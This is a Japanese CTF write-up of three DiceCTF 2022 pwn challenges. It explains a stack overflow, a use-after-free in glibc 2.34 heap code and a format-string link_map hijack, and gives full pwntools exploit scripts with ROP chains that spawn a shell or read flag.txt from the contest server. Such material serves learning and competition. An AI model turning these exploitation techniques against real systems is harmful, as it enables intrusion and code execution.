DiceCTF 2022 Write-up

Dice CTF 2022に参加しました。
pwnは8問あり、2問は開催中に、1問は終了後に解きました。

pwn/interview-opportunity

299 solves / 108 points

開催期間中に解けた。

f:id:ec76237290:20220207144755p:plain

よくある問題。bof脆弱性があるのでgot 領域からret2pltでlibc addressをリーク。
そしてROPでsystem("/bin/sh")を呼ぶというやつ。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/interview-opportunity")
libc=ELF("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/libc.so.6")

#p=process("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/interview-opportunity"  , aslr=False  ,env={"LD_PRELOAD" : "/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/libc.so.6"} )
p=remote("mc.ax",31081)
#gdb.attach(p)

pop_rdi=0x00401313
ret=0x0040101a
p.sendlineafter("DiceGang?", cyclic(34)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.symbols["main"]))
p.recvline()
p.recvline()
p.recvline()
libc_base=u64(p.recv()[0:6].ljust(8,b"\x00"))-0x765f0
log.info("libc base is :"+hex(libc_base))

p.sendline(cyclic(34)+p64(pop_rdi)+p64(libc_base+next(libc.search(b"/bin/sh")))+p64(libc_base+libc.symbols["system"]))
p.interactive()

実質welcome問。

pwn/baby-rop

106 solves / 127 points

これも開催期間中に解けた。
glibc2.34が無いと動かない。

LD_PRELOAD=./libc.so.6 ./ld-linux-x86-64.so.2 ./babyrop

とかでも動くが、毎回やるのは面倒なのでpatchelf して動くようにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL


起動すると下記のように動くheap問。
f:id:ec76237290:20220207144935p:plain

仕様
下記のコマンドが用意されている。

C(create_safe_string): indexを指定し、領域を作る。内部的には、まずmallocでsafe_string構造体(下記)のサイズを取得し、lengthとstringのポインタを確保する。次に、lengthサイズでmallocして、そこに文字列を書き込む。
F(free_safe_string):Cで作成されたstringの領域をfreeし、safe_string構造体もfreeする。free後、ポインタにnullを代入しない。
R(read_safe_string):safe_string構造体のlengthを参照し、lengthの分、stringの領域を出力する。
W(write_safe_string):safe_string構造体のlengthを参照し、lengthの分、stringの領域に読み込む。
E:Exitする
typedef struct {
    size_t length;
	char * string;
} safe_string;

safe_string 構造体

脆弱性
・null終端が無い。(使わない)
・free後にポインタにnullを代入されない為、UaFとDouble Freeがある。(こっちを使う)

なお、libc2.34が使われていると、tcacheのfdには次のtchacheの領域へのポインタがマングリングされた値が入る。(いわゆるsafe-linking)
bkの位置にはkeyが入る。libc2.32-33時点ではkey(heap内へのポインタ)だったが、乱数のようなものが入っている。

how2heapで確認してみた。(いつのまにかwebから動くようになっていてめちゃめちゃ便利になった。)

f:id:ec76237290:20220207145127p:plain
glibc 2.32
f:id:ec76237290:20220207145129p:plain
glibc 2.33
f:id:ec76237290:20220207145133p:plain
glibc 2.34

このように、今までtcache のbkは普通のポインタだったのが、乱数的なやつが入るようになっていた。
仕様は追えていない。調べるべきなんだけど未調査。。。

したがって、Cした領域をFした後は下記のようになる。
f:id:ec76237290:20220207185104p:plain

見ての通り、fdはsafe-linkingで変な値になっているし、bkは暗号化されている。
ここでRやWを使うと、プログラムは、0x4062c6バイトを、0x137e7dd7b5eb11caから出力しようとしたり、入力しようとして
当然、0x137e7dd7b5eb11caのメモリアクセスに失敗してsegmentation faultで落ちてしまう。

さて、どうすれば良いかだが、freeを何回か行うことで、tcacheではない領域に入れる。
f:id:ec76237290:20220207185619p:plain

tcacheを連発した後は、fastbinに入る。fastbinなら、bkにkeyみたいな変な値が入ることはない。
以前の通りstring領域へのポインタが入っているので、Rを使うことにより、string領域へのポインタに多めのバイト数を書き込むことができる。
これを活用すれば、heap buffer overflowとして、隣り合う領域のsafe_string構造体を書き換えることができる。
それを使えば、任意の場所に書き込むことができるし、書き換えることができる。
f:id:ec76237290:20220207191640p:plain
イメージ図。

実質これで終了。
まずlibc baseのリークだが、これはGOTから読み込むことで簡単にリークできる。
次にRIPをとることを考えるが、FULL RELROなので、GOT Overwriteはできない。
しかもglibc 2.34から__free_hookや__malloc_hook等のhook系が削除されてしまっている。
シンボルは存在するように見えるが、うまく動かない。

さて、RIPをとるためにはどうすれば良いか。
最初はFSOPの方針でRIPまで取れた。
具体的には、下記のvtableで

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

とりあえず_IO_xsputn_tを書き換えてみると、次の出力で任意アドレスに飛ばすことができた。
これでRIPを奪うことができた。

さて、one_gadgetを使おうと思ったがgadgetが出てこない。
libc 2.34はone_gadgetは対応していなさそう。

しかも、今回の問題は、許されるsystem callが限られていて、execveも呼べない。

なのでおとなしくFSOPはあきらめて、ROPでopen read writeを呼ぶことにする。
良い感じのgadgetを見つけてstack pivotをしようと思ったが、gadgetは見つからなかった。
stack addressをleakしてAAWでstackに直接値を書き込むことにした。
stack addressはlibcのenvironにアドレスがあるのでlibc base がわかればleakすることができる。

stackに書き込むことができて、ROPができるようになったので、実はFSOPはもういらない。
あとはopen-read-writeを書くだけ。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/babyrop")
libc=ELF("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/libc.so.6")

p=remote("mc.ax",31245)
#p=process("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/babyrop2", aslr=False )

#gdb.attach(p)

def create_string(index, length, contents):
    p.sendlineafter("enter your command:", "C")
    p.sendlineafter("enter your index:", index)
    p.sendlineafter("How long is your safe_string:", length)
    p.sendlineafter("enter your string:", contents)
    return

def free_string(index):
    p.sendlineafter("enter your command:", "F")
    p.sendlineafter("enter your index:", index)
    return

def read_string(index):
    p.sendlineafter("enter your command:", "R")
    p.sendlineafter("enter your index:", index)
    p.recvline()
    return p.recvline()

def write_string(index, contents):
    p.sendlineafter("enter your command:", "W")
    p.sendlineafter("enter your index:", index)
    p.sendlineafter("enter your string:", contents)
    return

create_string(str(0), str(0x78), cyclic(0x18))
create_string(str(1), str(0x78), cyclic(0x18))
create_string(str(2), str(0x78), cyclic(0x18))
create_string(str(3), str(0x78), cyclic(0x18))
create_string(str(4), str(0x78), cyclic(0x18))
create_string(str(5), str(0x78), cyclic(0x18))
create_string(str(6), str(0x78), cyclic(0x18))
create_string(str(7), str(0x78), p64(0xcafebabe))
create_string(str(8), str(0x400000), p64(0xcafebabe))
create_string(str(9), str(0x78), p64(0xcafebabe))

free_string(str(0))
free_string(str(1))
free_string(str(2))
free_string(str(3))
free_string(str(4))
free_string(str(5))
free_string(str(6))
free_string(str(7))
free_string(str(8))
free_string(str(9))

#libc leak
write_string(str(7),  cyclic(128)+p64(0x08)+p64(elf.got["puts"]))
data=read_string(str(8))
d=data.split()
libc_base=(int(d[0], 16)
          +int(d[1],16)*0x100
          +int(d[2], 16)*0x10000
          +int(d[3], 16)*0x1000000
          +int(d[4], 16)*0x100000000
          +int(d[5], 16)*0x10000000000)-libc.symbols["puts"]
log.info("libc_base is :"+hex(libc_base))

# leak stack address
write_string(str(7),  cyclic(128)+p64(0x08)+p64(libc_base+libc.symbols["environ"]))
data=read_string(str(8))
d=data.split()
stack_address=(int(d[0], 16)
          +int(d[1],16)*0x100
          +int(d[2], 16)*0x10000
          +int(d[3], 16)*0x1000000
          +int(d[4], 16)*0x100000000
          +int(d[5], 16)*0x10000000000)
log.info("stack address is :"+hex(stack_address))

# write rop code into stack open-read-write
pop_rdi=libc_base+0x0002d7dd
pop_rax=libc_base+0x000448a7
pop_rsi=libc_base+0x0002eef9
pop_rdx=libc_base+0x000d9c2d
push_rax=libc_base+0x00040c2f
syscall=libc_base+0x000888f2
write_string(str(7),  cyclic(128)+p64(0x100)+p64(stack_address-0x1a0))

# open("./flag.txt", 2) # syscall num 2
# read(3, stack_address, 0x20) # syscall num 0
# write(1, stack_address, 0x20) # syscall num 1
log.info(hex(pop_rdi))
write_string(str(8), b"./flag.txt\x00\x00\x00\x00\x00\x00"
             +p64(pop_rdi)
             +p64(stack_address-0x1a0) #0x1a0
             +p64(pop_rsi)
             +p64(0)
             +p64(pop_rdx)
             +p64(0)
             +p64(pop_rax)
             +p64(2)
             +p64(syscall) # open
             +p64(pop_rdi)
             +p64(3)
             +p64(pop_rsi)
             +p64(stack_address+0x100)
             +p64(pop_rdx)
             +p64(0x100)
             +p64(pop_rax)
             +p64(0)
             +p64(syscall) # read
             +p64(pop_rdi)
             +p64(1)
             +p64(pop_rsi)
             +p64(stack_address+0x100)
             +p64(pop_rdx)
             +p64(0x100)
             +p64(pop_rax)
             +p64(1)
             +p64(syscall) #write
             )

# fsop
#ret=0x00401020
#_IO_xsputn_t=0x1f6598
#write_string(str(7),  cyclic(128)+p64(0x08)+p64(libc_base+_IO_xsputn_t))
#write_string(str(8), p64(ret))

p.interactive()

一応これでflagが出力された

pwn/data-eater

25 solves / 220 points

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

1-3回入力するとsegmentation faultで落ちるバイナリ。
この問題は開催期間中に解けなかった。
方針は立ったが、理由は後述。

main関数の中身はこんな感じ。

undefined8 main(undefined8 param_1,long *param_2,long *param_3)

{
  long in_FS_OFFSET;
  long *local_30;
  long *local_28;
  char local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = param_2;
  while (local_30 = param_3, *local_28 != 0) {
    *local_28 = 0;
    local_28 = local_28 + 1;
  }
  while (*local_30 != 0) {
    *local_30 = 0;
    local_30 = local_30 + 1;
  }
  fgets(local_18,8,stdin);
  __isoc99_scanf(local_18,buf);
  memset(buf,0,0x20);
  uRam0000000000000000 = 0;
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    uRam0000000000000000 = 0;
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

一回目のfgetsで文字列を7文字まで入力を受け付ける(null終端除く)
次のscanfで入力された文字列に対してscanfを行うという処理。
明かなFSBがある。

FSBで書き換えることが出来そうなポインタを探すために
スタック内を見てみるとこのような感じ。

gdb-peda$ x/100gx 0x7fffffffdee0
0x7fffffffdee0:	0x0000000000000000	0x0000000100400560
0x7fffffffdef0:	0x0000000a73243225	0x6d417b81b6198100
0x7fffffffdf00:	0x0000000000000000	0x000015555533f0b3
0x7fffffffdf10:	0x0000155555553620	0x00007fffffffdff8
0x7fffffffdf20:	0x0000000100000000	0x0000000000400647
0x7fffffffdf30:	0x0000000000400730	0xf6fbaa7d7e7acd40
0x7fffffffdf40:	0x0000000000400560	0x00007fffffffdff0
0x7fffffffdf50:	0x0000000000000000	0x0000000000000000
0x7fffffffdf60:	0x09045582c05acd40	0xdc51001a9eb4cd40
0x7fffffffdf70:	0x0000000000000000	0x0000000000000000
0x7fffffffdf80:	0x0000000000000000	0x0000000000000001
0x7fffffffdf90:	0x00007fffffffdff8	0x00007fffffffe008
0x7fffffffdfa0:	0x0000155555555190	0x0000000000000000

これと、書き込み可能な領域を照らし合わせてみる。

Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater
0x00601000         0x00602000         rw-p	/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater
0x00602000         0x00623000         rw-p	[heap]
0x0000155555503000 0x0000155555506000 rw-p	/usr/lib/x86_64-linux-gnu/libc-2.31.so
0x0000155555506000 0x000015555550c000 rw-p		mapped
0x0000155555554000 0x0000155555555000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.31.so
0x0000155555555000 0x0000155555556000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]

writableな領域のみ抜粋してみたが、これを見てみると、そもそも使えそうなポインタは
スタック領域を除くと下記の2つであった。
0x000015555533f0b3 (6番目)
0x0000155555555190 (32番目)

これらのアドレスを色々調べてみると、
0x0000155555555190は、link_map構造体であることがわかった。

link_map構造体は、_dl_fixup 関数の引数として渡され、関数名の名前解決に用いられる。(Lazy Binding時)
link_mapをうまく書き換えることで、libc内の名前解決のフローをある程度操作することができる。

scanfの次のmemset関数は、初めて呼び出されるので、Lazy Bindingにより、
link_mapを使った名前解決が走るので書き換えることで、systemに飛ばすことができるかもしれない。

ということで、%sと%32$sでそれぞれ、場所が固定されている領域と、link_mapの領域に書き込みができる。
※ここでscanf の man pageを見たところ下記の記述があり、同時に%sと%32$sに書き込むことはできないと思い込んでしまった。
(後からコードを見たら、ちゃんと分離して書き込めていた。思い込みは恐ろしい…)

format 中の変換指定は、'%' で始まるか、 "%n$" で始まるかの、いずれかの形式である。 これら 2つの形式を同じ format 文字列に混ぜることはできない。

そこで他の方法にシフトして、他の謎の方法(後述)でRIPまでは取ることができたが、手詰まりになってしまった。
話を元に戻す。

まず、"%s%32$s"を一回目のfgetsに入力する。
次のscanfで、
%s(これは0x601080のbufに入力される。この領域はPIE無効なので位置が変わることはない)
%32$s(これは、link_mapの構造体が存在する0x0000155555555190に書き込まれる)
に書き込みができるので、
link_map構造体の指すSTRTABのポインタを0x601088に向け、
0x601088に偽のSTRTABを作る(memset を systemに変えておく)ことで、memsetで名前解決をするときにsystemで名前解決をするようにできる。
memsetの引数には0x601080が入るので、この領域の頭には"/bin/sh\x00"を入れておくことで、system("/bin/sh")が呼べそう。

0x20が含まれていると入力できなくなってしまうので、link mapポインタをうまく書き換える等、色々頑張る必要があるのだが、
気になったポインタを0にしたら、なんと普通に通ってしまった。
STRTABは0だと流石にsegmentation faultで落ちそうな気もするが、意外とnullがいくつかあっても名前解決ができた。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater")
p=remote("mc.ax",31869)
#p=process("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater", aslr=False)

p.sendline("%s%32$s")

link_map=p64(0)+p64(0)\
         +p64(0)+p64(0)\
         +p64(0)+p64(0)\
         +p64(0)+p64(0)\
         +p64(0)+p64(0)\
         +p64(0x0000000000600f00)+p64(0x0000000000600ef0)\
         +p64(0)+p64(0x601088)\
         +p64(0x0000000000600eb0)+p64(0x0000000000600f30)\
         +p64(0x0000000000600f40)+p64(0x0000000000600f50)\
         +p64(0x0000000000600ec0)+p64(0x0000000000600ed0)\
         +p64(0x0000000000600e30)+p64(0x0000000000600e40)

binsh="/bin/sh".encode()+b"\x00"
fake_struct=p64(5)+p64(0x601098)
fake_strtab=b"\x00"+"libc.so.6".encode()\
           +b"\x00"+"__isoc99_scanf".encode()\
           +b"\x00"+"__stack_chk_fail".encode()\
           +b"\x00"+"stdin".encode()\
           +b"\x00"+"fgets".encode()\
           +b"\x00"+"system".encode()\
           +b"\x00"+"__libc_start_main".encode()

p.sendline(binsh+fake_struct+fake_strtab+b" "+link_map)

p.interactive()

これでシェルが取れる。

謎の方法
下記のコードで、RIPまでは取れた。

from pwn import *

elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater")
p=process("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater", aslr=False)
gdb.attach(p)

p.sendline("%6$s") # get RIP
target=0xdeadbeef
p.sendline("A".encode()*(0x1038)+p64(target-0xa36c0))
p.interactive()

なんかしらの関数ポインタを書き換えているようだ
しかし、mainに戻ろうにもバグって落ちるし、libc leakが無い以上、one_gadgetにも飛ばせないし、手詰まりだった。
ROPでstack pivotができるかと思ったが、程よいガジェットがギリギリなくてダメだった。

良問ばかりで素晴らしいCTFだった。
他の問題も解いてまとめたいなぁ。